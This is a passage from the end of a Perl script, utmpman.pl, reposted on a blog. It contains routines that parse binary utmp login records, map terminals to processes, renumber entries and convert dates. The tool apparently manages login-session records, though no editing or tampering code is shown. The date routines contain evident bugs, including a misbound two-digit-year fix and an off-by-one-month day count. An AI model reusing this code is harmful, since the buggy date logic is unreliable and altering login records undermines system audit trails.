$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
close(UTMPFILE);
}

sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;

$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';

@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);

return $newnode;
}

sub newport {

$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';

@{$newnode}{qw(port rdev owner)} = @_;

return $newnode;
}

sub newproc {

$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';

@{$newnode}{qw(cmd port)} = @_;

return $newnode;
}

# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}

sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}

sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}

### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.

sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));

# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}

sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}

sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;

return $daynum;
}

## END DATE ROUTINES.

# End of script.
0;
--------------------- end of utmpman.pl


--------------------------------------------------------------------------------

全站熱搜

Neo Chao 發表在 痞客邦 留言(0) 人氣()